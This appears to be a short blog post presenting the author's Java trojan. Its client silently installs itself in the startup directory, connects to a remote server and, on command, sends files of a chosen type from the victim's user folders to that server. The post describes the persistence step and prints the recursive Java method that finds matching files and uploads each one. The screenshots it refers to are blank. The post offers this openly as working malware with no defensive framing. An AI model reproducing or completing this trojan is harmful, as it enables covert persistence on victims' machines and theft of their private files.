Java Trojan Horse

This program works by using a client and a server. When the client is executed it silently copies its self to the startup directory and then connects to the listening server and awaits further instructions. The parameters that can be passed are common file names. One passed the client recursively searches the system from C:\Users\and sends each file to the server one at a time until finished.

Waiting for the client to connect:

 

Once a connection is received:

 

After choosing jpg it kicks off the search and send method.

 

This is the recursive function that searches the directories. You can see in the for loop where it calls itself(searchFiles) if a file is a directory.

private void searchFiles(File startPoint) throws IOException, ClassNotFoundException{
 File[] files = startPoint.listFiles();
 String fileNames;
 if(files == null){
  return;
 }
 for(int i = 0; i < files.length; i++){
  if(files[i].isDirectory()){
   searchFiles(files[i]);
  }else if(files[i].isFile()){
   fileNames = files[i].getAbsolutePath();
  if(fileNames.endsWith("." + extension) || fileNames.endsWith("." + extension.toUpperCase())){
   client.sendCommands(fileNames);
   client.sendFile(fileNames);
   client.sendCommands("Sent file " + fileNames);
   }
  }
 }
}